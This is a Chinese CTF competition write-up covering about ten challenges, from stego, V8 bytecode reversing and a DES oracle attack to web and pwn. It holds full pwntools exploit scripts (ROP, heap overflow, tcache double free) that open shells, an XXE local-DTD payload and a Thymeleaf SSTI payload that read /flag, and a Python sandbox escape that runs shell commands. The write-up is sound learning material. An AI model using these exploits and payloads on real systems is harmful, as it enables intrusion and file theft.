catch fun 题目描述:oppo catch fun
提示:oppo’s phone model,flag{} is required
百度: oppo catch fun
根据提示得到flag
flag{Reno}
babyrop 题目描述:From the ground up.
这道题简单看看,strncmp函数可以绕过,v1即比较的长度可以控制,我们可以随意输入一个数字比如1,然后和随机数比较第一个数字,爆破绕过。接着存在栈溢出可能性的函数的溢出长度最大为0xff,且可以由上一个函数的输入来控制。剩下的就是简单的rop了。
exp脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 #!/usr/bin/python #-*- coding:UTF-8 -*- from pwn import * context.log_level = 'debug' context.terminal = ['tmux' , 'split' , '-h' ] #p = process("./babyrop" ) p = remote('47.112.137.238' , 13337 ) elf = ELF('./babyrop' ) libc = ELF('./libc-2.23.so' ) vuln_addr = 0x080487D0 p.send ('1' +'\x00' *6 + '\xff' + '\n' ) p.recvuntil('Correct\n' ) #gdb.attach(p) p.send ('\x00' *0xe7 + p32(0xdeadbeaf ) + p32(elf.plt['puts' ]) + p32(vuln_addr) + p32(elf.got['puts' ]) + p32(0xffffffff )) libcbase = u32(p.recv(4 ).ljust(4 , '\x00' )) - libc.symbols['puts' ] #libcbase = u32(p.recv(4).ljust(4, '\x00' )) - 0x60ca0 log .info('libcbase:%#x' %libcbase)system_addr = libcbase + libc.symbols['system' ] #system_addr = libcbase + 0x3bda0 bin_sh = libcbase + 0x15902b p.send ('\x00' *0xe7 + p32(0xdeadbeaf ) + p32(system_addr) + p32(vuln_addr) + p32(bin_sh)) p.interactive()
book manager 题目描述:Endless book writing.
简单逆一下,可以很容易找到addtext函数中出现堆溢出,当v7的值小于0x100时,可以往里面写入0x100个字节。于是构造一下堆结构,改写一个text_ptr指向已经释放在unsortedbin中chunk,然后showbook,泄露出libc,然后再利用溢出修改一个text_ptr指向free_hook,改写为system函数地址,然后free一个/bin/sh即可getshell。脚本如下。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 from pwn import *context.log_level = 'debug' context.terminal = ['tmux' , 'split' , '-h' ] p = remote('47.112.115.30' , 13337 ) libc = ELF('./libc-2.23.so' ) def choose (choice) : p.recvuntil('Your choice:' ) p.sendline(str(choice)) def AddChapter (chapterName) : choose(1 ) p.recvuntil('Chapter name:' ) p.send(chapterName) def AddSection (chapterName, sectionName) : choose(2 ) p.recvuntil('Which chapter do you want to add into:' ) p.send(chapterName) sectionAddr = int(p.recvuntil('\nSection name:' , drop=True )[2 :], 16 ) p.send(sectionName) return sectionAddr def AddText (sectionName, size, text) : choose(3 ) p.recvuntil('\nWhich section do you want to add into:' ) p.send(sectionName) p.recvuntil('\nHow many chapters you want to write:' ) p.sendline(str(size)) p.recvuntil('\nText:' ) p.send(text) def DelChapter (chapterName) : choose(4 ) p.recvuntil('\nChapter name:' ) p.send(chapterName) def DelSection (sectionName) : choose(5 ) p.recvuntil('\nSection name:' ) p.send(sectionName) def DelText (sectionName) : choose(6 ) p.recvuntil('\nSection name:' ) p.send(sectionName) def ShowBook () : choose(7 ) def Update (flag, oldName, newName) : choose(8 ) p.recvuntil('\nWhat to update?(Chapter/Section/Text):' ) if flag == 1 : p.sendline('Chapter' ) p.recvuntil('\nChapter name:' ) p.send(oldName) p.recvuntil('\nNew Chapter name:' ) p.send(newName) elif flag == 2 : p.sendline('Section' ) p.recvuntil('\nSection name:' ) p.send(oldName) p.recvuntil('\nNew Section name:' ) p.send(newName) elif flag == 3 : p.sendline('Text' ) p.recvuntil('\nSection name:' ) p.send(oldName) p.recvuntil('\nNew Text:' ) p.send(newName) p.recvuntil('Name of the book you want to create: ' ) p.sendline('aaaa' ) AddChapter('cha1' ) AddSection('cha1' , 'sec1' ) AddText('sec1' , 0x10 , 'text1' ) AddSection('cha1' , 'sec2' ) AddText('sec2' , 0x100 , 'text2' ) AddSection('cha1' , 'sec3' ) sec4_addr = AddSection('cha1' , 'sec4' ) text4_addr = sec4_addr + 0x40 AddText('sec4' , 0x90 , 'text4' ) AddSection('cha1' , 'sec5' ) AddText('sec5' , 0x20 , '/bin/sh\x00' ) DelText('sec4' ) Update(3 , 'sec1' , '\x00' *0x10 + p64(0x0 ) + p64(0x41 ) + 'sec2' .ljust(0x20 , '\x00' ) + p64(text4_addr) + p64(0x20 ) + p64(0x0 ) + p64(0x111 )) ShowBook() p.recvuntil('Section:sec2' ) p.recvuntil('\n Text:' ) libcbase = u64(p.recv(6 ).ljust(8 , '\x00' )) - 0x3c4b78 log.info('libcbase:%#x' %libcbase) free_hook = libcbase + 0x3C67A8 system_addr = libcbase + libc.symbols['system' ] Update(3 , 'sec1' , '\x00' *0x10 + p64(0x0 ) + p64(0x41 ) + 'sec2' .ljust(0x20 , '\x00' ) + p64(free_hook) + p64(0x20 ) + p64(0x0 ) + p64(0x111 )) Update(3 , 'sec2' , p64(system_addr)) DelText('sec5' ) p.interactive()
Look Around 题目描述:builded from tomcat:8-jre8
进入靶机,f12一波,发现
1 <script src ="./js/_.js" > </script >
进入:http://47.107.253.140:18080/webserver/js/_.js
得到
1 2 3 4 5 var data = "<?xml version=\"1.0\" ?> \n<request > \n <status > 1</status > \n</request > "; setInterval(function(){ $.post("callback", data); }, 10000);
猜测是XXE
于是进入接口callback
要POST,所以抓包,
然后不久前学XXE时看到过这篇根据本地DTD来实现XXE的文章
https://www.gosecure.net/blog/2019/07/16/automating-local-dtd-discovery-for-xxe-exploitation
于是想在这里试试。
但是本地有啥DTD文件呢?发现题目给了提示。于是根据题目描述,下载同名镜像,
给个docker,然后找其中的dtd文件,发现了一个文章中提到的文件
/usr/share/xml/fontconfig/fonts.dtd
于是用文章里的payload 一把梭
1 2 3 4 5 6 7 8 9 10 11 12 13 <!DOCTYPE message [ <!ENTITY % local_dtd SYSTEM "file: ///usr /share /xml /fontconfig /fonts.dtd "> <!ENTITY % expr 'aaa )> <!ENTITY % ; file SYSTEM "file: ///flag "> <!ENTITY % ; eval "<!ENTITY & ;#x25 ; error SYSTEM ' ;file: ///abcxyz /% ;file ;' ;> "> %eval; %error; <!ELEMENT aa (bb '> %local_dtd; ]> <message > </message >
得到flag
flag{f1c6811d4dce2ae37613cee977febe305f4de8fe}
Render 题目描述:Write something you want to see.
进入靶机,f12,发现:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 var app = new Vue({ e l: '#app' , data: { content: '' , result: '' }, methods: { request: function (event) { var vm = this axios.post('/render' , { content: vm .content }) .then(function (response) { console.log (response) vm .result = response.data.result }) .catch (function (error) { console.log (error) vm .result = error }) } } })
再根据题目Render,应该是个SSTI无疑
学习文章
但是表示自己太菜了,甚至没看出来这个网页的框架
于是先去做了别的题。
之后队友说,是springboot,他说进入http://47.107.244.251:18080/render回显的是
遂抓包,得到
因为Spring Boot 官方推荐使用 “Thymeleaf”模板引擎
于是试试是否有Thymeleaf 渲染
发现失败,把思路丢给队友,让他再去试试。
最后很尴尬,队友说,我符号用错了,该用大括号,(啊,低级错误,233333)
回显成功,于是java读文件一把梭
payload
1 {"content" : "[[${new java .io.BufferedReader(new java .io.FileReader(\"/flag\")).readLine()}]]" }
发包得到flag
flag{nBz9mertYP@pyyZxx9@nn}
2019 题目描述:Hidden in the history
下载得到图片
放进Stegsolve.jar,调整通道发现端倪
LSB隐写,
然后放进zsteg,导出得到字符串
1 (QW8obWdIW11XTyxyOFVTM0dNMlIySSVZQjdzdA ==
去掉括号base64得到:
然后看不出特征,于是先base全家桶试了一波,发现是base85
解得:flag{~h!%3W-9jKB6(fG}
Hub 题目描述:tip:题目环境为Ubuntu18.04,flag路径/home/flag
这个题可以利用堆上的相对偏移然后通过delete来double free,且2.27版本libc因为有tacahe机制,所以doublefree的利用变得非常简单,先填满7个chunk,再free一个到unsortedbin里面去,利用里面main_arean的地址改写后面2个字节,爆破一下可以得到free_hook中的chunk,通过改写free_hook为puts的plt表,然后通过delete函数找到对应可以泄露libc的地址的偏移,然后就可以打印出libc的地址,再改写free_hook为system函数地址,再通过libc上/bin/sh字符串的偏移,成功执行system(“/bin/sh”),getshell。脚本如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 from pwn import *context.log_level = 'debug' context.terminal = ['tmux' , 'split' , '-h' ] p = remote('47.112.139.218' , 13132 ) elf = ELF('./hub' ) def choose(choice): p.recvuntil('>>' ) p.sendline(str(choice) + '\x00' ) def add (size): choose(1 ) p.recvuntil('How long will you stay?\n' ) p.sendline(str(size) + '\x00' ) def delete (index): choose(2 ) p.recvuntil('Which hub don\'t you want?\n' ) p.sendline(str(index) + '\x00' ) def edit(content): choose(3 ) p.recvuntil('What do you want?\n' ) p.send (content) add (0xf0 )add (0xf0 )add (0xf0 )delete (-0x200 )delete (-0x200 )delete (-0x200 )delete (-0x200 )delete (-0x200 )delete (-0x200 )delete (-0x200 )delete (-0x200 )add (0xe0 )edit('\xe8\x68' ) add (0xf0 )add (0xf0 )edit(p64(elf.plt['puts' ])) delete (-0x1ee0 )libcbase = u64(p.recv(6 ).ljust(8 , '\x00' )) - 0x3eba83 log .info("libcbase:%#x" %libcbase)system_addr = libcbase + 0x4f440 edit(p64(system_addr)) delete (-0x239a4e )p.interactive()
8v 题目描述:I run the js code and get flag
得到一份文档,全是字节码,遂开始一行一行“翻译”
参考文章
https://github.com/v8/v8/blob/master/src/interpreter/interpreter-generator.cc
https://github.com/v8/v8/blob/master/src/interpreter/bytecodes.h
https://zhuanlan.zhihu.com/p/28590489
https://github.com/danbev/learning-v8
看懂完指令并不是很难,核心就是一个简单的三项数异或加密,
然后存在两个类似于斐波那契数列的前后相关的数列,
数列a起始位是$a_1=88$
函数是:$a_n=(a_{n-1}*65+66)$%$256$
得到数列:$a = [88, 154, 92, 158, 96, 162, 100, 166, 104, 170, 108, 174, 112, 178, 116, 182, 120, 186, 124, 190, 128, 194, 132, 198, 136, 202, 140, 206, 144, 210,]$
数列b起始位是$b_1=148$
函数是:$b_n=(b_{n-1}*35-16)$%$256$
最后程序还有个将数列b逆序的操作
得到数列:$b=[236, 212, 204, 116, 172, 20, 140, 180, 108, 84, 76, 244, 44, 148, 12, 52, 236, 212, 204, 116, 172, 20, 140, 180, 108, 84, 76, 244, 44, 148]$
再加上
enc=b’\xd2”\xf1\x8d\xb7\xe0\xd0MF\x87T?\x1fI\x1c\xe7\xcb\x07\xc3\x95z\xb3z\x0b\xbb\xdb\xa1I\xc5;’
最后三个数列逐位异或,得到
flag{V8_ByteCode_is_Very_Easy}
PyBox 题目描述:cut flag sleep repeat
连上沙箱
看着像python,但是这个python为啥没有一点点功能?啥也不能干?也没有回显。
不过没有回显倒可以利用sql的时间盲注的方法,但是有啥功能能利用呢?
于是去学习沙箱逃逸一波
https://bestwing.me/awesome-python-sandbox-in-ciscn.html
发现了这个,
1 __import__ .__getattribute__ ('__clo' +'sure__' )[0] .cell_contents ('o' +'s' ).__getattribute__ ('sy' +'stem' )('l' +'s home' )
没有报错,
但是这里没有回显呃,于是,时间盲注结合closure,
再根据这篇文章https://blog.csdn.net/caoshunxin01/article/details/79355566
利用cut - c 逐位爆破
payload:
1 __import__ .__getattribute__ ('__clo' +'sure__' )[0] .cell_contents ('o' +'s' ).__getattribute__ ('sy' +'stem' )('flag_p=`cut -c 1 /home/flag`; [ $flag_p = \"f\" ] && sleep 2'
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 from pwn import * import time sh=remote("47.112.108.17" ,12312 ) sh.recvuntil(">>>" ) ans = "__import__.__getattribute__('__clo'+'sure__')[0].cell_contents('o'+'s').__getattribute__('sy'+'stem')('a=`cut -c 1 /home/flag`; [ $a = \" f\" ] && sleep 1'" t = time .time () sh.sendline(ans) sh.recvuntil(">>>" ) if time .time ()-t > 0.5 : print("get!" ) break
得到回显
利用成功。再加两个循环,就好了。
得到结果
不知道是不是后来改flag了,之前跑脚本得到的是
flag{Pyt5on_S4ndB0x+4pParmOr_S4ndb0x}
写wp复现的时候得到的是
flag{Pyt5on_S4ndB0x+4pParmOr_S4ndb0x_sorry}
hhhh?
Babycry nc 过去得到加密规则
写wp的时候环境关了,这里就直接口述了。
既然加密规则是des(key,sth..flag{*}padding)
加上hint
所以我们控制输入,可以使得被加密的字符末尾为
首先我们先输入
des a
des aa
des aaa
直到拼接后的字符串长度为8的倍数,
印象里应该是两个a的时候,就好了。
然后我们当输入三个a的时候,字符串应该就是aaaflag{*}再加上七个_,那么末尾就应该是一个}加七个_组成的,
密文末尾的8个字节,就是这一个}加七个_字符所组成的八个字符的密文
我们可以输入
看返回的密文的前8个字节加一验证。
于是思路就是,控制padding,逐位爆破,
输入aaaa,返回密文的后8字节就是明文
1 ?}______(6 个_ ) #?代表flag最后一位字符
的密文
然后我们在爆破这一位,直到返回密文的前八个字节与输入aaaa返回的密文的最后8字节相同位置,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 from pwn import * context.log_level ="debug" sh =remote("139.9.222.76" ,19999)sh .recvuntil(">" )for i in range (33,126): ans = "des " +chr(i)+"}______" sh .sendline(ans) p = sh .recvuntil(">" ) if "54f6d4254fe2a8d4" in p : print ("get!" ) print (ans) break
得到结果
然后以此类推,逐位爆破。
后面还有点区别就是,爆破完8位,用来验证的密文不能再从末尾找了,得找之前找的8个字节密文的前8个字节密文。
比赛的时候就是用这个半自动化脚本手撸的,
原本想在写wp的时候写个全自动化的,奈何环境关了,没法测试。遂放弃。
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可联系QQ 643713081,也可以邮件至 643713081@qq.com